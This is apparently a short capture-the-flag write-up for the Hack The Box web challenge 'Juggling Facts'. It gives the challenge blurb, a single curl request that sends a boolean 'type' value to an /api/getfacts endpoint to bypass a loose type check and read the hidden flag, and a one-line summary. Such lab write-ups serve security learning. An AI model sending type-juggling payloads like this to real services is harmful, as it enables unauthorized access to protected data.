https://app.hackthebox.com/challenges/412

Description

An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?

Exploitation

curl 94.237.63.109:48332/api/getfacts -d '{"type":true}'

Summary

Juggling facts: identify the broken request handling, prove control, and use it to recover the flag.